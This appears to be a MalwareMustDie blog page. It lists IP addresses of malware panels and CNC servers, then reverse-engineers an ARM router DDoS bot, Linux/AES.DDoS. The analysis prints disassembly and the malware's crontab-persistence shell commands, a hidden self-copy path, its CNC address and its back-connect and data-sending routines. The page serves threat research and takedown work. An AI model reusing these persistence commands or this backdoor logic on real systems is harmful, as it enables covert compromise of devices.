122.142.161.163|163.161.142.122.adsl-pool.jlccptt.net.cn.|4837 | 122.136.0.0/13 | CHINA169 | CN | CHINAUNICOM.COM | CHINA UNICOM JILIN PROVINCE NETWORK
125.46.53.155|hn.kd.ny.adsl.|4837 | 125.40.0.0/13 | CHINA169 | CN | CHINAUNICOM.COM | CHINA UNICOM HENAN PROVINCE NETWORK
183.60.197.240||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
112.117.223.10|10.223.117.112.broad.km.yn.dynamic.163data.com.cn.|4134 | 112.116.0.0/15 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET YUNNAN PROVINCE NETWORK
23.95.28.228|host.colocrossing.com.|36352 | 23.95.24.0/21 | AS-COLOCROSSING | US | HUDSONVALLEYHOST.COM | HUDSON VALLEY HOST
61.164.145.100||4134 | 61.164.0.0/16 | CHINANET | CN | - | WENZHOU TELECOM CO. LTD
108.171.200.16|108-171-200-16.static.webnx.com.|18450 | 108.171.192.0/19 | WEBNX | US | WEBNX.COM | WEBNX INC.
183.56.173.44||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
112.117.223.10|10.223.117.112.broad.km.yn.dynamic.163data.com.cn.|4134 | 112.116.0.0/15 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET YUNNAN PROVINCE NETWORK
61.147.103.21||65222 | 61.147.103.21/32 | -Private |  | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
218.25.36.220||4837 | 218.25.0.0/16 | CHINA169 | CN | CHINAUNICOM.COM | CHINA UNICOM LIAONING PROVINCE NETWORK
183.60.197.240||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
120.210.204.102||9808 | 120.210.192.0/19 | CMNET | CN | CHINAMOBILELTD.COM | CHINA MOBILE COMMUNICATIONS CORPORATION
174.139.20.66|customer.krypt.com.|35908 | 174.139.20.0/24 | VPLSNET | US | KRYPT.COM | KRYPT TECHNOLOGIES
119.90.135.206||23724 | 119.90.128.0/17 | CHINANET-IDC-BJ | CN | CNPC.COM.CN | HUABEI OIL FIELD COMMUNICATION CO
183.60.142.173||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
183.60.149.199||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
183.60.202.61||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
183.56.173.44||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
162.221.12.193|193.12.221.162.clear-ddos.com.|62466 | 162.221.12.0/24 | CLEAR-DDOS-AS | CA | CLEAR-DDOS.COM | CLEARDDOS TECHNOLOGIES
218.28.116.248|pc0.zz.ha.cn.|4837 | 218.28.0.0/15 | CHINA169 | CN | CHINAUNICOM.COM | CHINA UNICOM HENAN PROVINCE NETWORK
108.171.200.16|108-171-200-16.static.webnx.com.|18450 | 108.171.192.0/19 | WEBNX | US | WEBNX.COM | WEBNX INC.
183.60.197.240||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
199.192.158.36||6939 | 199.192.152.0/21 | HURRICANE | US | EHOSTINGUSA.COM | VPS21 LTD
218.6.12.157||4134 | 218.6.0.0/17 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET FUJIAN PROVINCE NETWORK
182.254.168.157||45090 | 182.254.168.0/23 | CNNIC-TENCENT-NET |  | - | COMSENZ TECHNOLOGY LTD
183.60.202.91||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
110.80.129.134||4134 | 110.80.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET FUJIAN PROVINCE NETWORK
182.254.168.157||45090 | 182.254.168.0/23 | CNNIC-TENCENT-NET |  | - | COMSENZ TECHNOLOGY LTD
182.254.180.241||45090 | 182.254.180.0/23 | CNNIC-TENCENT-NET |  | - | COMSENZ TECHNOLOGY LTD
219.235.8.29|host-219-235-8-29.iphost.gotonets.com.|17621 | 219.235.8.0/24 | CNCGROUP | CN | GOTONETS.COM | SHANGHAI QIANWAN NETWORK CO. LTD
104.194.6.138||36114 | 104.194.0.0/19 | VWEB-8 | US | VERSA14 | VERSAWEB, LLC
121.127.241.55||38197 | 121.127.241.0/24 | SUNHK-DATA-AS | HK | SUN.NET.HK | SUN NETWORK (HONG KONG) LIMITED
183.60.202.209||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
218.84.198.37||4134 | 218.84.0.0/16 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET XINJIANG PROVINCE NETWORK
114.215.140.230||37963 | 114.215.0.0/16 | CNNIC-ALIBABA-CN-NET | CN | ALIYUN.COM | ALIYUN COMPUTING CO. LTD
183.60.109.78||65222 | 183.60.109.78/32 | -Private |  | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
222.186.30.239||23650 | 222.186.30.0/24 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
61.36.33.225||3786 | 61.32.0.0/13 | LGDACOM | KR | DA-COM.COM | DACOM CORP.
115.29.165.174||37963 | 115.29.0.0/16 | CNNIC-ALIBABA-CN-NET | CN | ALIYUN.COM | ALIYUN COMPUTING CO. LTD
111.73.45.198||4134 | 111.72.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET JIANGXI PROVINCE NETWORK
121.40.85.20||37963 | 121.40.0.0/14 | CNNIC-ALIBABA-CN-NET | CN | ALIYUN.COM | ALIYUN COMPUTING CO. LTD
199.83.94.82|unassigned.psychz.net.|40676 | 199.83.88.0/21 | AS40676 | US | PSYCHZ.NET | PSYCHZ NETWORKS
222.186.34.152||23650 | 222.186.34.0/23 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
121.42.12.57||37963 | 121.42.0.0/18 | CNNIC-ALIBABA-CN-NET | CN | ALIYUN.COM | ALIYUN COMPUTING CO. LTD
117.41.229.139||4134 | 117.40.0.0/14 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET JIANGXI PROVINCE NETWORK
119.97.184.42|42.184.97.119.broad.wh.hb.dynamic.163data.com.cn.|4134 | 119.96.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET HUBEI PROVINCE NETWORK
192.169.219.22|ip-192-169-219-22.ip.secureserver.net.|26496 | 192.169.216.0/22 | AS-26496-GO-DADDY-CO | US | GODADDY.COM | GODADDY.COM LLC
222.186.56.33||23650 | 222.186.56.0/21 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
118.123.119.14||38283 | 118.123.119.0/24 | CHINANET-SCIDC-AS | CN | CHINATELECOM.COM.CN | CHINANET SICHUAN PROVINCE NETWORK
115.28.6.74||37963 | 115.28.0.0/16 | CNNIC-ALIBABA-CN-NET | CN | ALIYUN.COM | ALIYUN COMPUTING CO. LTD
23.245.205.38|38.205-245-23.rdns.scalabledns.com.|18978 | 23.244.0.0/15 | ENZUINC-US | US | ENZU.COM | ENZU INC
119.97.184.42|42.184.97.119.broad.wh.hb.dynamic.163data.com.cn.|4134 | 119.96.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET HUBEI PROVINCE NETWORK
222.186.50.229||23650 | 222.186.50.0/23 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
192.169.219.22|ip-192-169-219-22.ip.secureserver.net.|26496 | 192.169.216.0/22 | AS-26496-GO-DADDY-CO | US | GODADDY.COM | GODADDY.COM LLC
222.186.42.31||65222 | 222.186.42.31/32 | -Private |  | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
183.136.214.14||4134 | 183.128.0.0/11 | CHINANET | CN | DKW.COM.CN | NINBO LANZHONG NETWORK LTD
183.60.202.58||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
124.173.118.167||4134 | 124.172.0.0/15 | CHINANET | CN | SZGWBN.NET.CN | WORLD CROSSING TELECOM (GUANGZHOU) LTD.
222.186.58.146||23650 | 222.186.56.0/21 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
183.60.202.58||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
222.186.58.146||23650 | 222.186.56.0/21 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
118.123.119.14||38283 | 118.123.119.0/24 | CHINANET-SCIDC-AS | CN | CHINATELECOM.COM.CN | CHINANET SICHUAN PROVINCE NETWORK
116.255.162.80||37943 | 116.255.128.0/17 | CNNIC | CN | - | ZHENGZHOU GIANT COMPUTER NETWORK TECHNOLOGY CO. LTD
104.194.25.172||36114 | 104.194.0.0/19 | VERSAWEB-ASN | US | VERSAWEB.COM | VERSAWEB LLC
218.244.148.150||37963 | 218.244.128.0/19 | CNNIC-ALIBABA-CN-NET | CN | - | HICHINA TELECOM NET
104.194.25.176||36114 | 104.194.0.0/19 | VERSAWEB-ASN | US | VERSAWEB.COM | VERSAWEB LLC
23.27.192.115||18779 | 23.27.192.0/20 | EGIHOSTING | US | EGIHOSTING.COM | EGIHOSTING
133.242.161.133|www11359ui.sakura.ne.jp.|7684 | 133.242.0.0/16 | SAKURA | JP | SAKURA.AD.JP | SAKURA INTERNET INC.
104.194.11.72|104-194-\$11.unassigned.userdns.com.|36114 | 104.194.0.0/19 | VERSAWEB-ASN | US | VERSAWEB.COM | VERSAWEB LLC
222.186.34.210||23650 | 222.186.34.0/23 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
222.186.34.123||23650 | 222.186.34.0/23 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
118.244.150.49||4847 | 118.244.128.0/19 | CNIX | CN | BISS.COM.CN | BEIJING TONGHUI NETLINK DATA TECHNOLOGY CO. LTD
58.53.128.71||4134 | 58.48.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET HUBEI PROVINCE NETWORK
221.194.44.197||4837 | 221.194.0.0/16 | CHINA169 | CN | CHINAUNICOM.COM | CHINA UNICOM HEBEI PROVINCE NETWORK
183.60.149.194||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
58.53.128.71||4134 | 58.48.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET HUBEI PROVINCE NETWORK
60.173.9.144||4134 | 60.168.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET ANHUI PROVINCE NETWORK
60.173.9.43||4134 | 60.168.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET ANHUI PROVINCE NETWORK
199.168.100.72||33387 | 199.168.96.0/21 | DATASHACK | US | DATASHACK.NET | DATASHACK LC
125.93.53.218||65222 | 125.93.53.218/32 | -Private |  | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
123.249.33.21||4134 | 123.249.0.0/17 | CHINANET | CN | CDNZZ.NET | WONTEN NETWORK LTD.

Below is the list of IP addresses to block (Tango Queue List)

(N/A)

Statistic of historical IP distribution

Please click the picture below to see Google Map statistic data:

For the better geographical view of the CNC/panel distribution please use this map: https://batchgeo.com/map/d4c4950afd0f6fb5a6ea0e6d036c0df3 thank's @malm0use!

We thank all entities who are kindly helping us to fight this threat. We look forward to keep on having good coordination to take down more infector IP addresses and domains.

If you happened to have ELF malware, please do not hesitate to send us sample by uploading to this-->[link] URL.

Please help our effort to report us the existence of new panels if the IP is not on the above lists (Tango or Queue List), by writing the comment under this post (will not be published), or mention to @malwaremustdie (twitter).

Comment & follow up:

Preliminary stage of takedown (was only 11 confirmed that time)

What is the impact of this take down to the actor(s) actually?

Follow up (the next takedown):

Operation "Chopsticks"

In this operation 29 hostile panels loaded with network attacker tools, ELF DDoS'er malware and windows malware, target IP list and botnet CNC tools was secured during the weekend & result was confirmed & evaluated in next Monday. The result we shared and reported as per below video:

MalwareMustDie!

Saturday, September 13, 2014

MMD-0026-2014 - Linux/AES.DDoS: Router Malware Warning | Reversing an ARM arch ELF

Sticky notes, the latest infection report is below tweet:

The background

It is one of our active project to monitor the China origin ELF DDoS'er malware threat. The growth is very rapid nowadays, MMD detected 5 variants is active under almost 15 panels scattered in China network. I am quite active in supporting the team members of this project, so recently almost everyday I reverse ELF files between 5-10 binaries. They are not aiming servers with x32 or x64 architecture but the router devices that runs on Linux too. In some cases I found the FreeBSD variant.

In this story I faced an ARM architecture binary, which I found it interesting so I decided to share it here. The reason is because, practically: it was designed to work in ARM router with minimizing a well-known Linux malware with DDoS functions/features, that I also previously posted some in here --->[-1-] [-2-] [-3-] [-4-] [-5-] [-6-], to specifically infect ARM (router) devices, and this binary is trying to convince that it is a WindowsHelp binary :D , and ,specifically: from my reverse engineering point of view, ARM & "thumb" assembly are interesting.
Why I know it is aiming for router is because, the way to use internet to connect directly to remote global IP, the method used to grab data using specific location in the embedded device, and the trace of sources used during the compilation of the malware itself.

The malware

As usual, China actor(s) serves their malware binary under "specific panel", and this binary is spotted among with other Linux/Elknots malware. So as you can see it was served from Sept 10th and is having 4 downloads (including me, one time)

The file looks like this:

$ ls -alF 1
-rwxr--r--  1 mmd  mmd  165,176 Sep 10 10:21 1
$ md5 1
MD5 (1) = 0bb68bd65d94f61b7b20117b99d8526c
$ file 1
1: ELF 32-bit LSB executable, ARM, version 1 (GNU/Linux), statically linked, stripped

Well, we know is an ARM binary, but I need more information, so I check the ELF composition:

  Entry point address:  "0x2f118"
  Start of program headers: "52" (bytes into file)
  Start of section headers: "0" (bytes into file)
  Flags: "0x4000002", has entry point, "Version4 EABI"
  Size of this header: "52" (bytes)
  Size of program headers: "32" (bytes)
  Number of program headers: "2"
  Size of section headers: "40" (bytes)
  Number of section headers: "0"
  Section header string table index: "0"

Program Headers:
  Type     Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD     "0x000000 0x00008000 0x00008000 0x282b1 0x282b1 R E 0x8000"
  LOAD     "0x000c24 0x000d0c24 0x000d0c24 0x00000 0x00000 RW  0x8000"
Now it's time for calculating the data, we know the size and we see the each LOAD headers size which is just unfit, further, I don't see any section (either dynamic or static) nor relocation data that I can expect from an ARM ELF (they should have more symbols), which is strange. This a sign of protection, someone want to hide something, in the end that person is hiding EVERYTHING which ending up to be very suspicious :-) - So the binary could be packed or encrypted protection, we have many possibility.

Further details of this family of ELF malware we posted regularly in here:-->[link]

Packer

Let's check, I went to the EP point (0x2f118) and start to do the stuff I usually do, with noted..we have to be very patient with the ARM or THUMB assembly since they have larger steps for simple operation than Intel processor.

;-- entry0:
0x0002f118  adr     r12, off_2f104
0x0002f11c  ldmia   r12, {r1,r2,r10,r11,lr}
0x0002f120  add     r10, r10, r12
0x0002f124  add     r11, r11, r12
0x0002f128  mov     r0, r2
0x0002f12c  sub     r9, r12, r1
0x0002f130  add     r1, r1, #0x1000
0x0002f134  mov     r3, #0
0x0002f138  stmfd   sp!, {r0-r3,lr}
0x0002f13c  mov     r2, #7
0x0002f140  ldr     r3, [r12,#0x10]
0x0002f144  mov     r5, #0
0x0002f148  mov     r4, 0xffffffff
0x0002f14c  orr     r3, r3, #0x10
0x0002f150  mov     r7, #0xc0
0x0002f154  svc     0
0x0002f158  cmn     r0, #0x1000
0x0002f15c  bcs     loc_0x02fbd0
  [...]
..following the registers value and in r1 we will find the value that can tell what is happening:
0x0002fbd0  mov  r2, #0x1e
0x0002fbd4  adr  r1, aprot_execprot_ ; ""PROT_EXEC|PROT_WRITE failed.\n""
0x0002fbd8  mov  r0, #2
0x0002fbdc  mov  r7, #4
0x0002fbe0  svc  0
This value may ring your bells too :). ok this ELF is protected, with/for what? I look from its DCB data from where it was called and clarifying the answer:
0x0002FBF0 aProt_execProt_ DCB "PROT_EXEC|PROT_WRITE failed.",0xA,0
0x0002FC0E                 DCB 0xA,0
0x0002FC10 aInfoThisFileIs DCB 0x24,"Info: This file is packed with the UPX executable packer http:/"
0x0002FC10                 DCB "/upx.sf.net ",0x24,0xA,0
0x0002FC5F aIdUpx3_91Copyr DCB 0x24,"Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights R"
0x0002FC5F                 DCB "eserved. ",0x24,0xA,0
0x0002FCAB                 DCB 0x0 ;; here goes the table..
0x0002FCAC                 DCD 0x9A8, 0x5F9, 0x500E, 0x6C00031A, 0x942C5302, 0x18D063CB
0x0002FCAC                 DCD 0x49382EE, 0xD185E779, 0x57399E2E, 0xD24C892F, 0x1003EA02
0x0002FCAC                 DCD 0x6A5A70C9, 0x2F701D6A, 0x6D0D9A7, 0xD2EC6754, 0x95ECE49
[...]                      [...]
Oh, silly me.. it is a UPX, but, is it common and not modded one? So I went back to check the hex snapshot, to confirm..
00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 28 00 01 00 00 00  18 f1 02 00 34 00 00 00  |..(.........4...|
00000020  00 00 00 00 02 00 00 04  34 00 20 00 02 00 28 00  |........4.(.|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 80 00 00  |................|
00000040  00 80 00 00 b1 82 02 00  b1 82 02 00 05 00 00 00  |................|
00000050  00 80 00 00 01 00 00 00  24 0c 00 00 24 0c 0d 00  |........$...$...|
00000060  24 0c 0d 00 00 00 00 00  00 00 00 00 06 00 00 00  |$...............|
00000070  00 80 00 00 93 cc 51 fc  55 50 58 21 b4 11 0d 17  |......Q.UPX!....|
00000080  00 00 00 00 58 64 08 00  58 64 08 00 d4 00 00 00  |....Xd..Xd......|
Since I know that some malware actors is really (enjoying to ) watch this blog too (smile). I don't want to be specific on this, but from reading the hex above we can recognize the originality of this UPX, which it is. Otherwise you have patch it to depack, sample a way to depack the custom UPX is in here-->[LINK]. Further.. as this is the common UPX, and the "U" stands for universal & we can do "universal" solution too to unpack :)
 549976 <-    165176   30.03%   linux/armel   unpacked.1
So now we have the bigger file size :D
This time let's check the composition again:
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 28 00 01 00 00 00  10 81 00 00 34 00 00 00  |..(.........4...|
00000020  f8 5f 08 00 02 00 00 04  34 00 20 00 05 00 28 00  |._......4.(.|
00000030  1c 00 1b 00 01 00 00 70  5c bb 07 00 5c 3b 08 00  |.......p\...\;..|
00000040  5c 3b 08 00 00 09 00 00  00 09 00 00 04 00 00 00  |\;..............|
00000050  04 00 00 00 01 00 00 00  00 00 00 00 00 80 00 00  |................|
00000060  00 80 00 00 dc c4 07 00  dc c4 07 00 05 00 00 00  |................|
00000070  00 80 00 00 01 00 00 00  dc c4 07 00 dc c4 08 00  |................|
00000080  dc c4 08 00 4c 0a 00 00  48 47 04 00 06 00 00 00  |....L...HG......|
00000090  00 80 00 00 04 00 00 00  d4 00 00 00 d4 80 00 00  |................|
000000a0  d4 80 00 00 20 00 00 00  20 00 00 00 04 00 00 00  |........|
000000b0  04 00 00 00 07 00 00 00  dc c4 07 00 dc c4 08 00  |................|
000000c0  dc c4 08 00 14 00 00 00  30 00 00 00 04 00 00 00  |........0.......|
000000d0  04 00 00 00 04 00 00 00  10 00 00 00 01 00 00 00  |................|
000000e0  47 4e 55 00 00 00 00 00  02 00 00 00 06 00 00 00  |GNU.............|
Yeah, the "GNU" ascii appears now. And, see more details below:
 Entry point address: "0x8110"
 Start of program headers:  "52" (bytes into file)
 Start of section headers:  "548,856" (bytes into file)
 Flags:   "0x4000002", has entry point, "Version4 EABI"
 Size of this header: "52" (bytes)
 Size of program headers:   "32" (bytes)
 Number of program headers:   "5"
 Size of section headers:   "40" (bytes)
 Number of section headers:   "28"
 Section header string table index: "27"
Good! the true EP is shown now. And we have the new program headers too:
  Type     Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  EXIDX    "0x07bb5c 0x00083b5c 0x00083b5c 0x00900 0x00900" R   0x4
  LOAD     "0x000000 0x00008000 0x00008000 0x7c4dc 0x7c4dc" R E 0x8000
  LOAD     "0x07c4dc 0x0008c4dc 0x0008c4dc 0x00a4c 0x44748" RW  0x8000
  NOTE     "0x0000d4 0x000080d4 0x000080d4 0x00020 0x00020" R   0x4
  TLS      "0x07c4dc 0x0008c4dc 0x0008c4dc 0x00014 0x00030" R   0x4
A quick calculation of the size above shows that at least we have accuracy to more than 80% to the actual size now, good enough. It showed we have unprotected/unpacked data and so I can expect good material to disassembly it, but firstly, let's dump the sections to be sure that we have no more encryption/protection:
.note.ABI-tag 
.init 
.fini 
.init_array 
.fini_array 
__libc_freeres_fn 
__libc_thread_freeres_fn 
__libc_freeres_ptrs 
__libc_subfreeres 
__libc_atexit 
__libc_thread_subfreeres 
.text 
.rodata 
.ARM.extab 
.ARM.exidx 
.ARM.attributes
.eh_frame 
.jcr 
.data.rel.ro 
.got 
.data 
.bss 
.note.ABI-tag 
.tdata 
.tbss 
After comparing some ELF reference for ARM to make sure we have the proper heades, I found that all headers are there!)) Good. Since I happened to reverse a lot of same malware I can guess the sections that contains the good data, these are the section I picked to start analysis:
Name               Addr     Off    Size
-------------------------------------------
.text              0x08110 0x00110 0x6605c
.rodata            0x6f008 0x67008 0x149a0
__libc_freeres_fn  0x6e16c 0x6616c 0x00df4 
.text is a must in ELF since all of code logic goes here, and .rodata mostly contains the database of symbols (and sometimes .data too..depends on the coder). You can go to other section like .bss/.tbss for more symbol reference, but for me I'll pick __libc_freeres_fn since it is typical for this case.

To verdict its malicious process by reverse engineering

I will go to the reversing highlights, meanings..the most important process only. I don't write the sub functions, i.e. how it grabs the ethernet data, or how this malware use socket to connect an IP, for example, since the code is too long. But to be noted, since ARM architecture has different structure than Intel, and ARM is designed for the embedded systems, you will see many different method for the detail operation that is involving with the system calls.
OK, here are the highlights that I would like to cover;

1. Installation:

Malware changes attribute & chmod the crontab, this is a bit specific setup that rarely found in the previous types, suggesting a new built, previously most of them are aiming autostart at the xinetd for autostart installation.

.text:0x0A760  STMFD   SP!, {R4-R8,LR}
.text:0x0A764  SUB  SP, SP, #0x208
.text:0x0A768  ADD  R7, SP, #0x108
.text:0x0A76C  MOV  R4, R0
.text:0x0A770  MOV  R8, R1
.text:0x0A774  MOV  R0, R7
.text:0x0A778  MOV  R1, #0x100
.text:0x0A77C  BL   sub_0x026FB0
.text:0x0A780  LDR  R0,  <-- "chattr -i /etc/crontab"
.text:0x0A784  BL   sub_0x0E3E0
.text:0x0A788  LDR  R0, <-- "chmod +w /etc/crontab"
Adding the autostart entry in it:
.text:0x0A7DC ; xref: sub_0x0A760
.text:0x0A7DC  LDR  R1, <-- "sed -i '/%s/d' /etc/crontab"
.text:0x0A7E0  MOV  R2, R5
.text:0x0A7E4  MOV  R0, R6
   :
.text:0x0A800  LDR  R1, <-- "echo '*/1 * * * * root %s/%s %s' >> /etc/crontab"
.text:0x0A804  STR  R8, [SP,#0x108+var_108]
.text:0x0A808  BL   sub_0x0182DC
.text:0x0A80C  MOV  R0, R6
.text:0x0A810  BL   sub_0x0E3E0
Create the file: "/etc/.mysys", which later on found as the self copy attempt.
.text:0x0A83C  STR  LR, [SP,#var_4]!
.text:0x0A840  MOV  R1, #0x42
.text:0x0A844  SUB  SP, SP, #4
.text:0x0A848  LDR  R0, <-- "/etc/.mysys"
.text:0x0A84C  BL   sub_0x0E350
.text:0x0A850  CMP  R0, #0
.text:0x0A854  MOV  R1, #6
.text:0x0A858  BGT  loc_0x0A86C

2. Initiation of the service... which lead to CNC information :-)

We'll see 3 thread will be spawned, which using "/dev/null" as value, this is typical MO for most types of AES.DDoS'ers we saw.

.text:0x082E0  LDR  R0, <-- "/dev/null"
.text:0x082E4  BL   sub_0x0E350 ; 
.text:0x082E8  MOV  R1, #2
.text:0x082EC  LDR  R0, <-- "/dev/null"
.text:0x082F0  BL   sub_0x0E350
.text:0x082F4  MOV  R1, #2
.text:0x082F8  LDR  R0, <-- "/dev/null"
.text:0x082FC  BL   sub_0x0E350
..following with "effortS" to start the service:
.text:0x0831C  LDR  R0, [R5]
.text:0x08320  LDR  R1, <-- "mt"
.text:0x08324  BL   sub_0x0A760
.text:0x08328  MOV  R0, #1
.text:0x0832C  MOV  R1, R0
.text:0x08330  BL   sub_0x01614C
.text:0x08334  LDR  R0, <-- reg RO = "Int Server..."
.text:0x08338  BL   sub_0x018F2C
.text:0x0833C  MOV  R1, R4
.text:0x08340  MOV  R3, R4
.text:0x08344  LDR  R2, =sub_0x08A60
.text:0x08348  LDR  R0, =unk_0x0D0990
.text:0x0834C  BL   sub_0x0B33C
.text:0x08350  MOV  R1, R4
.text:0x08354  MOV  R3, R4
.text:0x08358  LDR  R2, =sub_0x088D8
.text:0x0835C  LDR  R0, =unk_0x0D0988
.text:0x08360  BL   sub_0x0B33C
.text:0x08364  MOV  R1, R4
.text:0x08368  MOV  R3, R4
.text:0x0836C  LDR  R2, =sub_0x08598
.text:0x08370  LDR  R0, =unk_0x09097C
.text:0x08374  BL   sub_0x0B33C
.text:0x08378  MOV  R1, R4
.text:0x0837C  MOV  R3, R4
To connect to "something". I trailed it to get all variables needed:
.text:0x08394  LDR  R0, <-- RO contains "connect to server..."
.text:0x08398  BL   sub_0x018F2C
.text:0x0839C  MOV  R1, #0
.text:0x083A0  MOV  R3, R1
.text:0x083A4  LDR  R2, =sub_0x0A038 <--"jump here"
       [...]
.text:0x0A038  STMFD   SP!, {R4-R10,LR}
.text:0x0A03C  SUB     SP, SP, #0x9C0
.text:0x0A040  BL      sub_0x09E68 <--"jump again here"
And the destination 0x09E68 there is the IP address of this connection.
.text:0x09E68 LDR  R0, =unk_0x08C5C4  <-- address to get the CNC IP Address
.text:0x09E68 <-- go down to hard-copied data:0x08C5C8 it's the IP "182.254.180.241"
Now we know the CNC is in 182.254.180.241 which is in:
ASN: 45090 / CNNIC-TENCENT-NET
PREFIX: 182.254.180.0/23
ISP: COMSENZ TECHNOLOGY LTD
COUNTRY: CHINA
..well, I am not surprised.

3. An effort to fake Windows Help (WinHelp.exe) service :)

Continuing the data flow started above, I end-up facing an interesting data:

   :
.text:0x09E68 LDR  R0, =unk_0x08C5C4
.text:0x09E6C STMFD   SP!, {R4-R8,R10,LR}
.text:0x09E70 LDR  R2, [R0,#(dword_0x08C62C - 0x08C5C4)]
The data after dword in .data:0x08C62C is the .data:0x08C630 (DCB) which is "WinHelp32.exe", see it here if you don't believe me:

This is just unbelievable, seeking further to figure what is this, I found the complete set of data for this "fake process" which is a self explanatory:

I don't know what to say about this..

4. PoC of backdoor and sending sensitive data to remote host:

It's self explanatory in the codes below, the BackConnect part:

.text:0x08420  ; .text:off_0x08408
.text:0x08420  STMFD   SP!, {R4,LR}
.text:0x08424  LDR  R4, =dword_0x0D0984
.text:0x08428
.text:0x08428  ; xref: sub_0x08420
.text:0x08428  LDR  R0, <---- "Back connect to server..."
.text:0x0842C  BL   sub_0x018F2C
.text:0x08430  MOV  R1, #0
.text:0x08434  MOV  R3, R1
.text:0x08438  LDR  R2, =sub_0x099E0
.text:0x0843C  LDR  R0, =dword_0x0D0984
.text:0x08440  BL   sub_0x0B33C
.text:0x08444  MOV  R1, #0
.text:0x08448  LDR  R0, [R4]
.text:0x0844C  BL   sub_0x0C4FC
.text:0x08450  LDR  R0, [R4]
.text:0x08454  BL   sub_0x0E070
.text:0x08458  LDR  R0, =0x4C4B40
.text:0x0845C  BL   sub_0x0272F0
.text:0x08460  B    loc_0x08428
And the trace of information to be sent to remote:
.text:0x08500  STMFD   SP!, {R4,R5,LR}
.text:0x08504  LDR  R1, =dword_0x090980
.text:0x08508  SUB  SP, SP, #0x400
.text:0x0850C  SUB  SP, SP, #0xC
.text:0x08510  LDR  R2, =dword_0x090978
.text:0x08514  LDR  R12, [R1]
.text:0x08518  ADD  R4, SP, #0x418+var_410
.text:0x0851C  LDR  R3, [R2]
.text:0x08520  MOV  R1, #0x400
.text:0x08524  LDR  R2  <--- "INFO:%d|%d"
.text:0x08528  MOV  R0, R4
.text:0x0852C  STR  R12, [SP,#0x418+var_418]
.text:0x08530  BL   sub_0x0182B0
.text:0x08534  LDR  R3, =dword_0x08CF44
.text:0x08538  MOV  R0, R4
.text:0x0853C  LDR  R5, [R3]
.text:0x08540  BL   sub_0x024540
.text:0x08544  MOV  R1, R4
.text:0x08548  ADD  R2, R0, #1
.text:0x0854C  MOV  R0, R5
.text:0x08550  BL   sub_0x0DF10
.text:0x08554  LDR  R3, =dword_0x08CF48
.text:0x08558  MOV  R0, R4
.text:0x0855C  LDR  R5, [R3]
.text:0x08560  BL   sub_0x024540
.text:0x08564  MOV  R1, R4
.text:0x08568  ADD  R2, R0, #1
.text:0x0856C  MOV  R0, R5
.text:0x08570  BL   sub_0x0DF10
.text:0x08574  ADD  SP, SP, #0xC
.text:0x08578  ADD  SP, SP, #0x400
.text:0x0857C  LDMFD   SP!, {R4,R5,LR}
